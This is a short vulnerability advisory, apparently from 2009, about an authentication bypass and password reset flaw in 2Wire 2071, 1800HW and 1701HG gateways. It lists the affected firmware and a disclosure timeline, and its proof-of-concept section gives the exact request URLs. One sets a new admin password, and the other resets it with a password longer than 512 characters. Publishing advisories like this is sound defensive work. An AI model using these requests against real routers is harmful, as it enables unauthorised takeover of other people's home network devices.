2WIRE GATEWAY AUTHENTICATION BYPASS & PASSWORD RESET

DESCRIPTION

There is an authentication bypass vulnerability in page=CD35_SETUP_01
that allows you to set a new password even if the password was
previously set.

By setting a new password with more than 512 characters the password
gets reset and next time you access the router you will be prompted for
a new password.

VULNERABLE

2Wire 2071 Gateway
2Wire 1800HW
2Wire 1701HG

Firmware
5.29.51
3.17.5
3.7.1

NOT VULNERABLE

Firmware
5.29.135.5 or later

DISCLOSURE TIMELINE

03/27/2009 - 2wire Contacted
no satisfactory response
07/11/2009 - Sent complete details to 2wire
no response
07/17/2009 - Sent advisory with video demo to 2wire
ticket status escalated, but no response
08/02/2009 - Made public @ Defcon 17

EXPLOIT/POC

Authentication Bypass - just use this page to set a new password

 http://gateway.2wire.net?xslt?page=CD35_SETUP_01

Video: http://www.hakim.ws/2wire/2wire_CD35_Bypass.ogv

Password Reset - using the same form but sending a password > 512
characters

http://gateway.2wire.net/xslt?PAGE=CD35_SETUP_01_POST&password1=*Ax512*&password2=*Ax512*

Video: http://www.hakim.ws/2wire/2wire_CD35_Reset.ogv

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  http://www.hakim.ws